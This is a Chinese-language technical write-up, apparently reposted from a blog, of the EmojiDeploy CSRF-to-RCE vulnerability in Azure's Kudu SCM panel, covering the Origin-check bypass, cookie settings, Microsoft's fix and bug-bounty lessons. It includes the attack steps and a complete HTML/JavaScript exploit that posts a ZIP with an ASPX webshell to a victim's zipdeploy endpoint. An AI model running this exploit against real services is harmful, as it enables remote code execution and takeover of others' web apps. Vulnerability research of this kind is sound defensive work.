【技术解读】【CloudSec】EmojiDeploy: Smile! Your Azure web service just got RCEd ._.

news/2025/2/22 23:19:06/文章来源:https://www.cnblogs.com/wh03ver/p/18617802

目录
  • 前言
  • 存在漏洞的服务 - Kudu SCM
  • 漏洞利用的关键点
    • 1、Same-site配置不当
    • 2、服务端对Origin的校验可被绕过
    • 3、利用一个高危功能接口
      • 3.1、DoS - POST /api/scm/cleanPOST /api/app/restart
      • 3.2、RCE - POST /api/zipdeploy
      • 没校验一些自定义请求头 - 如:If-Match: *、X-Requested-With: XMLHttpRequest
      • text/plain is out friend
  • 整个攻击流程如下
  • Exploit
  • 修复
  • 启发

前言

原文:
https://www.tenable.com/blog/Emoji-Deploy-Smile-Your-Azure-web-service-just-got-Rced


来自Tenable的安全研究员 @Liv Matan,发现了一个影响多个Azure云服务(如Function Apps、App Service、Logic Apps等)的RCE漏洞。
这是一个需要结合CSRF攻击的RCE漏洞,换言之,需要用户交互。

存在漏洞的服务 - Kudu SCM

Kudu SCM服务是用C#语言开发的,且是开源的。
Kudu SCM服务是很多重要的Azure云服务的底层依赖,如:Azure Functions, Azure App Service, Azure Logic Apps等。我们可以将 Azure Web 服务分为三大类:应用服务、功能应用和逻辑应用。这些服务有一个共同点:它们都默认部署 SCM 面板。 SCM 面板授予 IT 团队、DevOps 和 Web 管理员修改和管理其 Azure Web 应用程序的访问权限。
Kudu 是 Azure Web Apps 中 Git 部署背后的引擎。它是一个基于 Web 的 Git 存储库管理器,提供用于在 Azure 上部署和管理应用程序的 SCM。 SCM Web 面板充当这些服务的管理界面。

漏洞利用的关键点

1、Same-site配置不当

作者发现Cookie中,所有的字段的SameSite属性都为None. 这就使得浏览器不会对Cookie进行跨域攻击的防护。
image

2、服务端对Origin的校验可被绕过

作者自己的SCM服务的站点地址形式如:https://<my-webapp>.scm.azurewebsites.net<my-webapp>这里作为占位符。
默认情况下,SCM前端发起的http请求的Origin头就是:https://<my-webapp>.scm.azurewebsites.net。当修改为 https://test.com时,服务端返回401,如图:
image

从图中响应头Access-Control-Allow-Origin: https://test.com可以看到,其实看起来SCM服务是允许跨域的。但却返回401,这就说明这是额外对Origin头作了安全校验。
换言之,如果有办法绕过这个额外的Origin头校验,就可以实施跨域攻击。

注:这点很重要,是个很重要的前提。因为如果响应头Access-Control-Allow-Origin没有回显Origin请求头指定的域名或站点,就说明服务是不允许跨域的,这种情况下,即使绕过了服务端对Origin头的安全校验,也无法实施跨域攻击。

继续测试,用以下3种形式的Origin,都无法绕过SCM服务的安全校验:

https://<my-webapp>.scm.azurewebsites.net.attacker.com
https://attacker.<my-webapp>.scm.azurewebsites.net
http://<my-webapp>.scm.azurewebsites.net

于是作者继续尝试绕过这个Origin头的安全校验,测试发现如下结果:
image
其中的$表示一个任意字符的占位符。意思是,在<my-webapp>.scm.azurewebsites.net后面加上一个除了-_以外的任意特殊字符,是可以通过SCM服务的Origin安全校验的。

但是呢,主流浏览器并不接受除了-_以外的任意特殊字符,作者对四大浏览器的测试结果如下:
image
因为CORS/CSRF是要用户浏览器交互的,所以这意味着前面的这种绕过方式无效。

作者研究发现,浏览器可以接受_符号作为一个子域,并测试发现以下形式可以绕过SCM服务的Origin安全校验:

https://<my-webapp>.scm.azurewebsites.net._.<attacker-site>./

._.不就像个emoji一样么hhh。

设置DNS记录时,可以用通配符。

原文:To summarize: This finding allows an attacker to create a wildcard DNS record for his own domain and send cross-origin requests with special characters that eventually will be accepted by the server origin check.

3、利用一个高危功能接口

3.1、DoS - POST /api/scm/cleanPOST /api/app/restart

  • POST /api/scm/clean:Cleans the repository
  • POST /api/app/restart:Restarts the application

3.2、RCE - POST /api/zipdeploy

  • POST /api/zipdeploy:通过zip包进行应用部署

没校验一些自定义请求头 - 如:If-Match: *、X-Requested-With: XMLHttpRequest

这里直接贴原文:
image

我让GPT解读如下:
image

其实按照笔者的经验,印象中没遇到过服务端会校验If-Match: *、X-Requested-With: XMLHttpRequest来防御CORS/CSRF攻击的...
后面从微软对这个漏洞的修复来看,也没有涉及这点。

text/plain is out friend

原始的请求/api/zipdeploy会带上application/x-www-form-urlencoded; charset=UTF-8的Mime-Type,但执行不带charset的标准CSRF请求会返回禁止(估计是403),而且,无法强制浏览器使用charset=UTF-8。
这里贴上原文:

Text/plain is our friend

The original request to /api/zipdeploy is sent with application/x-www-form-urlencoded;charset UTF-8 Mime-type. Sending a standard CSRF request with the >charset omitted returns Forbidden. Furthermore, you can not force charset UTF-8 from the browser.

We are left with multipart/form-data and text/plain, otherwise, the browser will send a preflight request.

After some investigation, the SCM server in this particular zipdeploy endpoint accepts text/plain Mime-types. We can encode our zip payload and use text/plain for CSRF.

让GPT解读下这段话,这里摘取关键信息:

文章中提到的“无法强制字符集UTF-8”是指,在某些情况下,浏览器会自动去除请求头中指定的charset=UTF-8,或者浏览器在跨域请求时会有一些限制。例如,如果没有正确的charset=UTF-8指定,浏览器会认为该请求不符合服务器的要求,因此返回Forbidden(禁止访问)错误。

(之所以让GPT解读,是因为这一点笔者没理解,解读后其实还是没理解。。。我的理解是:直接在js代码中通过xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded;charset=UTF-8")指定字符集不就好了吗,浏览器执行CSRF攻击时应该是不会去除字符集的才对)

因此作者为了解决这个限制,测试发现用 text/plain 也是可以被SCM服务接受的。

整个攻击流程如下

Reproducing the full attack on "victim" from ermetic-research.com (ASPX example):
The easiest way to get a POC and a running execution chain is by uploading a webshell to the respected server:

Host a server.
Create a wildcard DNS record for your domain *.ermetic-research.com and point it to the server you created.
Create a malicious ZIP file with an ASPX webshell or any other payload inside.
Create a HTTP POST request to /api/zipdeploy?isAsync=true with the malicious zip file encoded as a body and set the Content-Type header to text/plain (see our example js code below).
The victim navigates to your payload on your hosted domain with the origin regex bypass - https://victim.scm.azurewebsites.net._.ermetic-research.com./
Access the webshell and run code on the victim.
Optional: Get the AWS EC2 IMDS token from the meta-data service and access other services.
Prerequisite: SCM cookies or Microsoft account cookies

image

Exploit

<html><body><script>history.pushState('', '', '/')</script>
<script>
function authScm(){window.open('https://victim.scm.azurewebsites.net/','_blank');
setTimeout(function(){ submitRequest(); }, 4000);
}
</script>
<a href="#" onclick="authScm()">Please authenticate to the scm if you aren't already</a>     
<script>function submitRequest(){var xhr = new XMLHttpRequest();xhr.open("POST", "https:\/\/victim.scm.azurewebsites.net\/api\/zipdeploy\/?isAsync=true", true);xhr.setRequestHeader("Content-Type", "text\/plain");xhr.setRequestHeader("Accept", "*\/*");xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.9");xhr.withCredentials = true;var body = "PK\x03\x04\x14\x00\x00\x00\x08\x00\x00ZXUR)-\xc8\x8a\x02\x00\x00\x1f\x05\x00\x001\x00\x00\x00asdinjasindjsadisandiasundsiaudiasnudnaisuda.aspx\x8d\x93oo\xd30\x10\xc6\xdfW\xeaw8\x19Mj\x05\xa4\x7f\xc6\x005I\xc5h3\xadRY\xab\xb5h\x887\x93\x9b\xdc\xba@bG\xb6\xb3eB|w\xceNZ\xc6VM\xbc\x8a\xe3{|\xf7\xf3=\xe7\xe0\xe8\x13,\xf9\x16a\xce\xc5\xb6\xa4E\xc8&\xaf\x18LqSnCfT\x89\x0c\xd6\x8a\xc7\xb4\x7f\xc33M\x7fG\xe3v\xcb\x9e\x9a\xe5\x85T\x06.x\x8e\xbap\x82\xd5\x836\x98{\xd3\x94o\x85\xd4&\x8d\xf5\x7f\xa8g\x8bF\xa4c\x95\x16\xe6\x11GL\x1c\xaa\x14\xdc\x84L\xa3\xbaC\xc5Hv\'\xd3\xc4\x01_\xcf%O:r\xf3\x03c\x03\x1aE\x82\xea\rDw(\xcc\xa9\xdaj\xc0n\xbb\xf5\xab\xdd\xfa\xddni\xa3R\xb1\x85\xa8\x8aK\x83\x93\x3c\xe94\x1b\\mk\xcdR\xc9\x18\xb5^\x19\xae\xccL\xdcH(t\n" +      "!\x08\xbc\x87\xa7\xa1N\xd7o\xb7(\xec\x9d\xa5\x19\xda\xbb\x90\x8e\xc5y\xe2a\x85\xac\tQ\xf92\'\x0cmc\xbd\x18\xd8k\xaa\xd4\xc4.1I\x15\x01SB\x91p\x95,JS\x94\x86\x84\xb6\xd1\x8d\xe6\xab\xc6\xd5-fYT\xa1%\xa6\xa0k\xbc\xbf\x07\x85\x82\xf6\x9a\xb5\xe7\xd0:t\xce\x92\xad\x8cB\x9e_\"\xa7f\x806\xb9J\x14I\x0b\xef\xdfr\xfe\xbe\'\x16\xb1\x96y\xf6\xd0ZF\"qWl6\'\x99\xd4\xe86\x14\x9aR\t\xd0\xbek\xa93\x81\xaeM\x88\xd7\x93,\x8d\x7f\x3e\xf5\xa1\xf1\xf6\x99\x1d\x97d\xbe\x14\x1a\xbd+\x95\x1a\xec\xb0\xa0P8f]\xffYd\xe5\x0c\xf7\xceM\x9eE\"\x96\tv\xfe\xfag*\x9b\xd3[ce\xba\xdd\x03gY\xd0\xdb\xa7%\xd8\xa0WO\x96\x9d\xb1\xf3\xf5\x97\xb9\xfbF\xa7S\xfb5\xa9\xc9p\xcc\xefQ\x00\xd7\x85\'\xd0\xc0=n\xb4m\x7f\xd0\xab\x836\xc1N\xbe\x91\xc9\x03\xd8\xc5\x8dT9\xa4Ih\xbdg\x90\xa3\xb9\x95\xf4S\xd0\xd0\x1f\x18\xd9\x80R\x8f,\xedgY\xb9C\xf5\x05\x18\xb5\xfe!\xa39\xff\xfevv1\x8d\xbe\x8d`\xd0\x1f\xf80\x8f\xce\xd6#x\xd7?)*\x1f\x96\x8b\xd5l=[\\\x8c\x80o\xb4\xcc\xa8\x01\x3e\xac\x17\xcb\x11\x0c\xfbE\xf5\xb4\x14\\\xa5\x89\xb9\r\xd9\xf0\xc4\x06\xc7A\xefQ\xdd\x1d\xc6\xe7\xd2\x18)j\n" +           "\xa4\'*\x0eb\x0cw\x18\xef?\xbc\x8c1\xf8x\x00\xc3\x96\x0c\x19\xd6\xe3\xcb`!\xdc\x88\x84\xec\xf1\xc0\xec\xf0j\x9e\x1d\xdd\x9co0sp\xd9&\xb3i\x0e\xc1\x1d\xef\xe0\x8e\x07\xfd\x97{4|\x0e7\x9e\xc8\x3c\xa7\xc70\n" +           "z\xfb\x82\xceb\xeb\xa8[X\x8fk\xd3\xed\xac\xfc\x01PK\x01\x02\x1f\x00\x14\x00\x00\x00\x08\x00\x00ZXUR)-\xc8\x8a\x02\x00\x00\x1f\x05\x00\x001\x00$\x00\x00\x00\x00\x00\x00\x00 \x00\x00\x00\x00\x00\x00\x00asdinjasindjsadisandiasundsiaudiasnudnaisuda.aspx\n" + "\x00 \x00\x00\x00\x00\x00\x01\x00\x18\x00\xe4\x87+\xda\x80\xe7\xd8\x01\xe4\x87+\xda\x80\xe7\xd8\x01\x80}\xf8\xc3\xdc\"\xd6\x01PK\x05\x06\x00\x00\x00\x00\x01\x00\x01\x00\x83\x00\x00\x00\xd9\x02\x00\x00\x00\x00";var aBody = new Uint8Array(body.length);for (var i = 0; i < aBody.length; i++)aBody[i] = body.charCodeAt(i); xhr.send(new Blob([aBody]));}submitRequest();</script></body>
</html>

用GPT对这段CSRF利用代码进行解读:
image
image

修复

微软针对两点作了修复:
(1)加强对Origin的校验;
(2)对Cookie中跟会话相关的字段的Samesite属性设置为Lax.

启发

(1) 不要觉得是大厂就不存在比较常规的漏洞;
(2) 遇到防护措施不要轻言放弃;
(3) 在挖云厂商的bug bounty时,要关注一些充当管理面的云服务的前端漏洞(如不安全的CORS、CSRF、XSS等),这种漏洞bounty价值挺高的,作者通过文中的漏洞获得了3w美刀的奖励。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/887806.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

基于扩频解扩+turbo译码的16QAM图传通信系统matlab误码率仿真,扩频参数可设置

1.算法仿真效果 matlab2022a仿真结果如下(完整代码运行后无水印): 仿真操作步骤可参考程序配套的操作视频。2.算法涉及理论知识概要该通信系统主要用于图像传输,适用于对图像质量和传输可靠性要求较高的场景,如无人机图像传输、视频监控、无线电视广播等。在复杂的电磁环境…

【技术学习】【WebSec】GraphQL API vulnerabilities

目录Lab1:Accessing private GraphQL postsLab2:Accidental exposure of private GraphQL fieldsLab3:Finding a hidden GraphQL endpointLab4:Bypassing GraphQL brute force protectionsLab5:Performing CSRF exploits over GraphQLReference Lab1:Accessing private G…

通过MATLAB实现PID控制器,积分分离控制器以及滑模控制器

1.课题概述通过MATLAB实现PID控制器,积分分离控制器以及滑模控制器。通过对比三个算法可知,采用滑模控制算法,其具有最快的收敛性能,较强的鲁棒性,以及较小的超调量。其性能略优于基于积分分离的PID控制器,远优于PID控制器的控制性能。2.系统仿真结果 (完整程序运行后无水…

LDM/SDM

LDM: 把图像VAE进隐空间,Diffusion加噪+UNetCrossAttn去噪,再VAE解码到像素空间输出按照时间t,进行不同程度和类型的去噪,所以加入了time-embedding。 把加入了conditional和未加入conditional的图片线性融合,保证平滑最前面接入resnet,是为了更好地保留中低级特征如边缘…

【漏洞分析】【CTF】Wiz Kubernetes CTF(K8s LAN Party)Writeup

目录入口Challenge 1 - ReconChallenge 2 - Finding NeighboursChallenge 3 - Data Leakage后记Challenge 4 - Bypass BoundariesChallenge 5 - Lateral Movement小结Reference 入口 https://www.k8slanparty.com/ Challenge 1 - Recon这道题的目的是想让你找到隐藏在K8s集群内…

【技术解读】【WebSec】Abusing HTTP hop-by-hop request headers

Abusing HTTP hop-by-hop request headers 这个技术在 2019年入选了 Portswigger 安全社区评选的 top 10 Web hacking techiniques of 2019 的候选名单,尽管最终没有入选 top 10,但个人觉得还是挺有意思的,后来也出现了与之相关的真实世界的漏洞案例,因此值得学习。 什么是…

【漏洞分析】CVE-2024-22243: Spring Framework URL Parsing with Host Validation

漏洞公告漏洞分析 从公告中可知该漏洞关键点在 UriComponentsBuilder 这个类。通过以前的Springboot工程全局搜索可知该类在于spring-web 这个jar包里。于是我们可以diff 下 spring-web 的 5.3.31 和 5.3.32 这两个版本的jar。可以看到,UriComponentsBuilder 类的改动只涉及…

【漏洞分析】CVE-2024-22259: Spring Framework URL Parsing with Host Validation (2nd report)

漏洞公告漏洞分析 这个漏洞本质上跟之前的CVE-2024-22243是同一个问题,且之前官方修复的不完全,导致还是可以被绕过。 这一点,官方在公告里也提到了。 补丁diff下,能看到其实还是url解析的那个正则表达式的修改: //5.3.31的正则: ^(([^:/?#]+):)?(//(([^@/?#]*)@)?(\…

用AOT导出本地dll

记得之前在做医保接口时,经常要调一些C++或delphi写的本地dll(这些dll通常是用来读医保卡之类),这里简单介绍一下用C#生成本地可以直接调用dll,具体做法是通过UnmanagedCallersOnlyAttribute来完成。dll项目文件如下<Project Sdk="Microsoft.NET.Sdk"><…

AOT反射库-AOTReflection

在AOT项目中,使用反射有一些问题,本程序包利用源生成器,按不同的维度,提前获取对应类型的元数据,从而达到平滑使用Reflection部分功能。项目:https://github.com/axzxs2001/AOTReflectionnuget:https://www.nuget.org/packages?q=AOTReflection如下面代码,利用泛型的反…

快乐地在AOT项目中用反射

反射是.NET开发的利器,但对于AOT来说,因为Native编译,所以反射的功能基本在AOT编译的项目中失效。办法总比困难多,这么好的东西不能扔掉,下面是“尽量”可以使用反射的例子,为什么“尽量”,看完下面的案例我们再做说明。在AOT项目中使用反射基本原理:利用源生成器,在b…

10亿数据,如何做迁移?

前言 某次金融系统迁移项目中,原计划8小时完成的用户数据同步迟迟未能完成。 24小时后监控警报显示:由于全表扫描SELECT * FROM users导致源库CPU几乎熔毁,业务系统被迫停机8小时。 这让我深刻领悟到——10亿条数据不能用蛮力搬运,得用巧劲儿递接! 今天这篇文章,跟大家一…